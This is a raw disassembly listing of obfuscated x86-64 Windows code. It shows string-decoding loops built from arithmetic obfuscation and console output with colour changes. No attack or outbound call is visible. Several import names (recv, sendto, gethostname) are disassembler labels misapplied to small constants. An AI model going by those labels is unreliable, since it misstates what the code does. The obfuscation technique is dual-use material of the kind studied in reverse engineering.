lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r11b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea ebx, [rdx + rdx]
jmp 0x14012dbc1
mov byte [rsp + r14 + 0x20], bl
inc r14
jmp 0x14012d4e3
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x30
add bl, r11b
jmp 0x14012dc24
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x14012dc7f
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x5a
jmp 0x14012dc7f
sub r10b, 0x3a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x6a
dec r14
inc r14
jmp 0x14012d4e3
add r10b, 0x62
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec r14
inc r14
jmp 0x14012d4e3
lea edx, [r10 - 2]
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x14012dbc1
movzx r10d, r14b
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x7a
sub r10b, 0x62
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x52
add r10b, r11b
mov byte [rsp + r14 + 0x20], r10b
inc r9
dec r14
inc r14
jmp 0x14012d4e3
lea ecx, [r14 + 0x6e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 2
dec r14
inc r14
jmp 0x14012d4e3
movzx r10d, r14b
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x46
add r10b, 2
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0xe
add r10b, bl
add r10b, r11b
mov byte [rsp + r14 + 0x20], r10b
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r14, rcx
inc r14
jmp 0x14012d4e3
movabs rax, 0xeffde81e411c6ede
add rax, r14
and r15b, al
add r15b, r15b
sub al, r15b
lea ebx, [r11 + rax]
sub bl, 0x12
movzx r10d, r14b
add r10b, 0x66
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
movzx eax, cl
mov byte [rsp + r14 + 0x20], al
inc r9
add rax, r9
sub r14, rax
lea edx, [r14 + 0x18]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rsp + r14 + 0x20], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r14, rax
movzx eax, byte [rsp + r14 + 0x20]
add rax, r9
add r14, rax
inc r14
jmp 0x14012d4e3
movabs rax, 0x66da880cf7555416
add rax, r14
and r15b, al
mov ecx, 0x33
sub cl, r15b
lea ebx, [rcx + rcx]
add bl, al
add bl, r11b
movzx eax, byte [rsp + r14 + 0x20]
add rax, r9
add r14, rax
inc r14
jmp 0x14012d4e3
add r10b, 0x7a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x56
jmp 0x14012d4de
add r10b, 0x16
movzx eax, r10b
and al, r11b
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x14012d4d0
lea rcx, [rbp + 0x1717eb8]
jmp 0x14012dd72
lea rcx, [rbp + 0xa3456a]
jmp 0x14012dd72
lea rcx, [rsp + 0x20]
mov r9d, r13d
mov r8d, dword [rbp + 0x120]
mov edx, r12d
call fcn.1400069d0
mov edx, 7
mov r15, qword [rbp + 0x110]
mov rcx, qword [r15]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dword [rsp + 0x48], 0xb3d991dd
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x4c], xmm0
mov qword [rsp + 0x5c], rax
mov dword [rsp + 0x64], eax
mov word [rsp + 0x68], ax
mov byte [rsp + 0x6a], al
movabs rsi, 0xcfc54718813b52b8
movabs r14, 0x4def7fdc8b15e878
movabs r12, 0x6f4fd54983b1f828
movzx edx, byte [rbp + 0x128]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14012e8a6
movzx r11d, byte [rsp + rbx + 0x48]
mov edi, r11d
cmp r8, rbx
ja 0x14012e89d
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14012de40
lea rcx, [rbx + rsi]
mov rax, rcx
and rax, rdi
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rdi
sub dl, 8
jmp 0x14012de60
je 0x14012e835
lea rax, [r9 + 3]
cmp r8, rax
je 0x14012e809
lea rax, [r9 + 4]
cmp r8, rax
je 0x14012e7f0
movzx r10d, bl
cmp r9, rbx
ja 0x14012e894
lea rcx, [r9 + 5]
cmp r8, rcx
jae 0x14012de90
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14012dec0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14012e7ae
inc rax
cmp r8, rax
je 0x14012e788
lea rax, [r9 + 4]
cmp r8, rax
je 0x14012e765
cmp r8, rcx
je 0x14012e749
nop
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14012e417
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14012e3fb
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14012e3d6
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14012e3b0
lea rax, [r9 + 9]
cmp r8, rax
je 0x14012e393
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14012e370
lea rax, [r9 + 2]
cmp r8, rax
je 0x14012e350
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14012e335
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14012e315
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14012e2e7
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14012ded0
lea r8, [r9 + 0x7a]
lea r9, [r8 + 4]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14012e878
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14012e85c
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14012e0b3
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14012e099
lea rcx, [r9 + 9]
cmp r8, rcx
jb 0x14012e07f
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14012e29d
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14012e254
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14012e216
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14012e1ef
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14012ded0
mov r8, rcx
lea r9, [rcx + 0x64]
lea rax, [r9 + 0x7a]
cmp rcx, rax
ja 0x14012e1c1
lea rax, [r9 + 0x20]
cmp rcx, rax
ja 0x14012e1a1
lea rax, [r9 + 0x80]
cmp rcx, rax
ja 0x14012e186
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x14012e166
lea rcx, [r9 + 0x400]
cmp r8, rcx
ja 0x14012e14e
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14012e132
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14012e110
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14012e0eb
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14012e0cf
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14012ded0
mov r8, rcx
lea r9, [rcx + 1]
jmp 0x14012ded0
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x58
jmp 0x14012dec0
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x48
jmp 0x14012de64
add r10b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x38
jmp 0x14012de15
lea edx, [r10 - 0x40]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x40
add dl, cl
jmp 0x14012e7c6
add r10b, 0x50
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x30
inc r9
dec rbx
inc rbx
jmp 0x14012de02
sub r10b, 0x20
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x20
dec rbx
inc rbx
jmp 0x14012de02
lea edx, [r10 + 0x70]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x10
add dl, cl
jmp 0x14012e6a3
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add r8, r9
jmp 0x14012e81d
sub r10b, 0x70
movzx eax, r11b
and al, r10b
mov ecx, 8
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x14012e81d
lea edx, [r10 + 0x20]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r11b
jmp 0x14012e6e2
sub r10b, 0x50
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_27
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x14012e70c
add r10b, 0x40
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rsp + rbx + 0x48]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14012de02
sub r10b, 0x58
movzx eax, r10b
and al, r11b
mov ecx, 0x34
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
mov byte [rsp + rbx + 0x48], dl
inc rbx
jmp 0x14012de02
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
cmp r9, 3
jb 0x14012e20a
lea edx, [r10 + 0x50]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea edx, [rcx*2 - 0x60]
jmp 0x14012e7c6
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x78
cmp r8, 0x200
jae 0x14012e689
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x14012e5b2
lea edx, [r10 - 0x10]
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x14012e22e
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x68
lea rax, [r9 + r8]
cmp rax, 6
je 0x14012e6ca
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x14012e519
lea edx, [r10 - 0x28]
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x14012e269
sub r10b, 0x70
movzx eax, r11b
and al, r10b
mov ecx, 8
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rsp + rbx + 0x48]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14012de02
add r10b, 0x20
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x14012e70c
lea edx, [r10 - 0x50]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, r11b
jmp 0x14012e6e2
add r10b, 0x40
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x14012e81d
sub r10b, 0x30
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
add r8, r9
jmp 0x14012e81d
lea edx, [r10 + 0x60]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x14012e6a3
sub r10b, 0x10
movzx eax, r11b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
dec rbx
inc rbx
jmp 0x14012de02
add r10b, 0x80
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x80
inc r9
dec rbx
inc rbx
jmp 0x14012de02
lea edx, [r10 + 0x10]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x70
add dl, cl
jmp 0x14012e7c6
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x14012e43c
lea edx, [r10 - 0x48]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 8
add dl, cl
jmp 0x14012e2b2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14012e46f
add r10b, 0x30
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x50
movzx eax, byte [rsp + rbx + 0x48]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14012de02
inc rax
cmp r8, rax
jne 0x14012e495
sub r10b, 0x60
movzx eax, r11b
and al, r10b
add al, al
movzx edx, r11b
sub dl, al
sub dl, 0x60
add dl, r10b
jmp 0x14012e70c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14012e4ba
add r10b, 0x80
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x80
jmp 0x14012e81d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14012e4e6
sub r10b, 0x10
movzx eax, r11b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
add r8, r9
jmp 0x14012e81d
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14012e2b2
sub r10b, 0x30
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
dec rbx
inc rbx
jmp 0x14012de02
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14012e53f
lea edx, [r10 + 0x48]
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x14012e7c6
inc rax
cmp r8, rax
jne 0x14012e569
add r10b, 0x28
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x18
dec rbx
inc rbx
jmp 0x14012de02
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14012e58b
add r10b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
jmp 0x14012e81a
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14012e269
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x58
jmp 0x14012e6e4
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14012e5e9
add r10b, 0x60
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rsp + rbx + 0x48]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14012de02
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14012e60d
lea edx, [r10 + 0x40]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
add cl, cl
add cl, r11b
jmp 0x14012e6e2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14012e636
sub r10b, 0x50
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_27
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x14012e81d
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14012e662
add r10b, 0x20
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
add r8, r9
jmp 0x14012e81d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14012e22e
lea edx, [r10 - 0x70]
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x14012e6a3
lea edx, [r10 - 0x40]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x40
add dl, cl
add dl, r11b
add r10b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x48
add r10b, dl
add r10b, r11b
mov byte [rsp + rbx + 0x48], r10b
add r8, r9
jmp 0x14012e81d
lea edx, [r10 + 0x30]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, r11b
sub dl, 0x50
add dl, cl
sub r10b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x58
add r10b, r11b
movzx eax, r10b
mov byte [rsp + rbx + 0x48], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx - 0x60]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x60
add r11b, cl
mov byte [rsp + rbx + 0x48], r11b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rsp + rbx + 0x48]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14012de02
sub r10b, 0x48
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 8
jmp 0x14012e81d
add r10b, 0x48
movzx eax, r11b
and al, r10b
mov ecx, 4
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
add r8, r9
jmp 0x14012e81d
add r10b, 0x68
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
dec rbx
inc rbx
jmp 0x14012de02
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
add r10b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x38
add r10b, r11b
mov byte [rsp + rbx + 0x48], r10b
inc r9
dec rbx
inc rbx
jmp 0x14012de02
lea ecx, [rbx - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x58
add r8, r9
jmp 0x14012e81d
lea rax, [rbx + r14]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
sub dl, 0x48
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14012de02
lea rax, [rbx + r12]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
sub dl, 0x18
movzx eax, byte [rsp + rbx + 0x48]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14012de02
sub r10b, 0x68
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x28
jmp 0x14012de00
add r10b, 0x28
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x18
jmp 0x14012ddf0
lea rdx, [rbp + 0x15b92e8]
jmp 0x14012e8ab
lea rdx, [rbp + 0x96e5a0]
jmp 0x14012e8ab
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x38]
call fcn.1400046a0
mov rbx, rax
mov qword [rbp + 0x120], rax
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002bd0
nop
mov rcx, rbx
call fcn.140002a20
mov edx, 3
mov rcx, qword [r15]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dword [rsp + 0x70], 0x4f53545c
mov byte [rsp + 0x74], 2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x75], xmm0
mov qword [rbp - 0x7b], rax
mov dword [rbp - 0x73], eax
mov word [rbp - 0x6f], ax
movabs rsi, 0x8b53945f13b47f01
movabs r14, 0xe5f03757b1587709
movabs r13, 0xcf490e9989ef7907
movabs r12, 0xa1fabd1d3b1d7d03
movzx ebx, byte [rbp + 0x128]
nop word [rax + rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x14012f449
movzx r11d, byte [rsp + rdi + 0x70]
mov edx, r11d
cmp r8, rdi
ja 0x14012f440
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x14012e990
lea rcx, [rdi + rsi]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
sub bl, 7
jmp 0x14012e9d7
je 0x14012f3d8
lea rax, [r9 + 3]
cmp r8, rax
je 0x14012f35a
lea rax, [rcx + 1]
cmp r8, rax
je 0x14012f330
lea rax, [r9 + 4]
cmp r8, rax
je 0x14012f317
lea rax, [r9 + 5]
cmp r8, rax
je 0x14012f2da
lea rax, [r9 + 2]
cmp r8, rax
je 0x14012f297
movzx r10d, dil
nop dword [rax + rax]
cmp r9, rdi
ja 0x14012f437
lea rcx, [r9 + 6]
cmp r8, rcx
jae 0x14012ea09
lea ecx, [r10 + 0x15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x6d
jmp 0x14012ea40
lea rax, [r9 + 1]
cmp r8, rax
je 0x14012f280
inc rax
cmp r8, rax
je 0x14012f25b
cmp r8, rcx
je 0x14012f23f
lea rax, [r9 + 3]
cmp r8, rax
je 0x14012f225
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14012ef7a
nop dword [rax]
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14012ef60
lea rax, [r9 + 3]
cmp r8, rax
je 0x14012ef3b
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14012ef19
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14012eeff
lea rax, [r9 + 8]
cmp r8, rax
je 0x14012eee0
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14012eec4
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14012eeaa
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14012ee8e
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14012ee64
lea rax, [r9 + 6]
cmp r8, rax
je 0x14012ea50
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14012f41b
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14012f3ff
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14012ec38
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14012ec1e
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14012ec04
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14012ee1b
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14012edd8
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14012ed9b
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14012ed78
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14012ea50
lea r8, [r9 + 0x40]
lea r9, [r8 + 5]
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14012ed4e
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14012ed30
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14012ed14
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14012ecf8
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14012ecd9
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14012ecbd
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14012ec9b
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14012ec72
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14012ec54
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14012ea50
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x1000]
jmp 0x14012ea50
lea ecx, [r10 - 0x75]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x33
jmp 0x14012ea40
lea ecx, [r10 - 0x77]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x41
jmp 0x14012e9e0
sub r10b, 0x79
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x4f
jmp 0x14012e965
lea edx, [r10 - 0x58]
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
jmp 0x14012f2b0
sub r10b, 0x5a
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
inc r9
dec rdi
inc rdi
jmp 0x14012e952
sub r10b, 0x5c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x7c
dec rdi
inc rdi
jmp 0x14012e952
lea edx, [r10 - 0x5e]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x6e
add bl, dl
jmp 0x14012f2f3
sub r10b, 0x60
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x60
add r8, r9
jmp 0x14012f342
sub r10b, 0x62
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x52
jmp 0x14012f342
lea edx, [r10 - 0x64]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x44
add bl, dl
jmp 0x14012f371
sub r10b, 0x66
movzx eax, r11b
and al, r10b
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x36
add bl, r10b
jmp 0x14012f39a
sub r10b, 0x68
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x28
movzx eax, byte [rsp + rdi + 0x70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14012e952
sub r10b, 0x6d
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 5
mov byte [rsp + rdi + 0x70], bl
inc rdi
jmp 0x14012e952
lea edx, [r10 - 0x6f]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
add bl, 9
add bl, dl
cmp r9, 4
jb 0x14012ed8f
lea edx, [r10 + 0x66]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14012f2b0
lea ecx, [r10 - 0x71]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x17
cmp r8, 0x41
jae 0x14012f1ed
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x14012f118
lea ecx, [r10 + 0x52]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x3e
jmp 0x14012edb2
lea ecx, [r10 - 0x73]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x25
lea rax, [r9 + r8]
cmp rax, 0x200
je 0x14012f20a
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x14012f025
lea ecx, [r10 + 0x3d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x55
jmp 0x14012eded
add r10b, 0x7e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x72
movzx eax, byte [rsp + rdi + 0x70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14012e952
add r10b, 0x7c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x64
jmp 0x14012f39a
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x56
jmp 0x14012f371
add r10b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x48
jmp 0x14012f342
add r10b, 0x76
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x3a
add r8, r9
jmp 0x14012f342
lea ecx, [r10 + 0x74]
